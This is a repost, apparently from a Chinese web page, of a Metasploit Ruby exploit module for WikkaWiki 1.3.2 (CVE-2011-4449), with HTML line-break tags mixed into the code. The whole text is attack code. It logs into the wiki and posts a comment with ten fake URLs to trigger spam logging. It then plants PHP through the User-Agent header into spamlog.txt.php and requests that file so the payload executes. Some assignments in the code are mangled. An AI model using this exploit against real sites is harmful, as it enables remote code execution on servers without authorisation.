WikkaWiki 1.3.2 Spam Logging PHP注射的方法
## <br /># This file is part of the Metasploit Framework and may be subject to <br /># redistribution and commercial restrictions. Please see the Metasploit <br /># Framework web site for more information on licensing and terms of use. <br /># http://metasploit.com/framework/ <br />## <br />require 'msf/core' <br />class Metasploit3 < Msf::Exploit::Remote <br />Rank = ExcellentRanking <br />include Msf::Exploit::Remote::HttpClient <br />def initialize(info={}) <br />super(update_info(info, <br />'Name' => "WikkaWiki 1.3.2 Spam Logging PHP Injection", <br />'Description' => %q{ <br />This module exploits a vulnerability found in WikkaWiki. When the spam logging <br />feature is enabled, it is possible to inject PHP code into the spam log file via the <br />UserAgent header , and then request it to execute our payload. There are at least <br />three different ways to trigger spam protection, this module does so by generating <br />10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6). <br />Please note that in order to use the injection, you must manually pick a page <br />first that allows you to add a comment, and then set it as 'PAGE'. <br />}, <br />'License' => MSF_LICENSE, <br />'Author' => <br />[ <br />'EgiX', #Initial discovery, PoC <br />'sinn3r' #Metasploit <br />], <br />'References' => <br />[ <br />['CVE', '2011-4449'], <br />['OSVDB', '77391'], <br />['EDB', '18177'], <br />['URL', 'http:// www.jb51.net /trac/wikka/ticket/1098'] <br />], <br />'Payload' => <br />{ <br />'BadChars' => "\x00" <br />}, <br />'DefaultOptions' => <br />{ <br />'ExitFunction' => "none" <br />}, <br />'Arch' => ARCH_PHP, <br />'Platform' => ['php'], <br />'Targets' => <br />[ <br />['WikkaWiki 1.3.2 r1814', {}] <br />], <br />'Privileged' => false, <br />'DisclosureDate' => "Nov 30 2011", <br />'DefaultTarget' => 0)) <br />register_options( <br />[ <br />OptString.new('USERNAME', ), <br />OptString.new('PASSWORD', ), <br />OptString.new('PAGE', ), <br />OptString.new('TARGETURI', ) <br />], self.class) <br />end <br />def check <br />res = send_request_raw({ <br />'method' => 'GET', <br />'uri' => "#{target_uri.path}wikka.php?wakka=HomePage" <br />}) <br />if res and res.body =~ /Powered by WikkaWiki/ <br />return Exploit::CheckCode::Detected <br />else <br />return Exploit::CheckCode::Safe <br />end <br />end <br /># <br /># Get the cookie before we do any of that login/exploity stuff <br /># <br />def get_cookie <br />res = send_request_raw({ <br />'method' => 'GET', <br />'uri' => "#{@base}wikka.php" <br />}) <br /># Get the cookie in this format: <br /># 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka <br />if res and res.headers['Set-Cookie'] <br />cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten <br />else <br />raise RuntimeError, "#{@peer} - No cookie found, will not continue" <br />end <br />cookie <br />end <br /># <br /># Do login, and then return the cookie that contains our credential <br /># <br />def login(cookie) <br /># Send a request to the login page so we can obtain some hidden values needed for login <br />uri = "#{@base}wikka.php?wakka=UserSettings" <br />res = send_request_raw({ <br />'method' => 'GET', <br />'uri' => uri, <br />'cookie' => cookie <br />}) <br /># Extract the hidden fields <br />login = {} <br />if res and res.body =~ /\<div id\=\"content\"\>.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>.+\<legend\>Login\/Register\<\/legend\>/m <br />fields = $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(\w+)\" \/>/) <br />fields.each do |name, value| <br />login = value <br />end <br />else <br />raise RuntimeError, "#{@peer} - Unable to find the hidden fieldset required for login" <br />end <br /># Add the rest of fields required for login <br />login['action'] = 'login' <br />login['name'] = datastore['USERNAME'] <br />login['password'] = datastore['PASSWORD'] <br />login['do_redirect'] = 'on' <br />login['submit'] = "Login" <br />login['confpassword'] = '' <br />login['email'] = '' <br />port = (rport.to_i == 80) ? "" : ":#{rport}" <br />res = send_request_cgi({ <br />'method' => 'POST', <br />'uri' => uri, <br />'cookie' => cookie, <br />'headers' => { 'Referer' => "http://#{rhost}#{port}#{uri}" }, <br />'vars_post' => login <br />}) <br />if res and res.headers['Set-Cookie'] =~ /user_name/ <br />user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/) || "" <br />pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/) || "" <br />cookie_cred = "#{cookie}; #{user}; #{pass}" <br />else <br />cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}" <br />raise RuntimeError, "#{@peer} - Unable to login with \"#{cred}\"" <br />end <br />return cookie_cred <br />end <br /># <br /># After login, we inject the PHP payload <br /># <br />def inject_exec(cookie) <br /># Get the necessary fields in order to post a comment <br />res = send_request_raw({ <br />'method' => 'GET', <br />'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}&show_comments=1", <br />'cookie' => cookie <br />}) <br />fields = {} <br />if res and res.body =~ /\<form action\=.+processcomment.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>/m <br />$1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(.+)\" \/>/).each do |n, v| <br />fields = v <br />end <br />else <br />raise RuntimeError, "#{@peer} - Cannot get necessary fields before posting a comment" <br />end <br /># Generate enough URLs to trigger spam logging <br />urls = '' <br />10.times do |i| <br />urls << "http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n" <br />end <br /># Add more fields <br />fields['body'] = urls <br />fields['submit'] = 'Add' <br /># Inject payload <br />b64_payload = Rex::Text.encode_base64(payload.encoded) <br />port = (rport.to_i == 80) ? "" : ":#{rport}" <br />uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment" <br />post_data = "" <br />send_request_cgi({ <br />'method' => 'POST', <br />'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment", <br />'cookie' => cookie, <br />'headers' => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" }, <br />'vars_post' => fields, <br />'agent' => "<?php #{payload.encoded} ?>" <br />}) <br />send_request_raw({ <br />'method' => 'GET', <br />'uri' => "#{@base}spamlog.txt.php" <br />}) <br />end <br />def exploit <br />@peer = "#{rhost}:#{rport}" <br />@base = target_uri.path <br />@base << '/' if @base[-1, 1] != '/' <br />print_status("#{@peer} - Getting cookie") <br />cookie = get_cookie <br />print_status("#{@peer} - Logging in") <br />cred = login(cookie) <br />print_status("#{@peer} - Triggering spam logging") <br />inject_exec(cred) <br />handler <br />end <br />end <br />=begin <br />For testing: <br />svn -r 1814 co https://wush.net/svn/wikka/trunk wikka <br />Open wikka.config.php, do: <br />'spam_logging' => '1' <br />=end <br />
頁:
[1]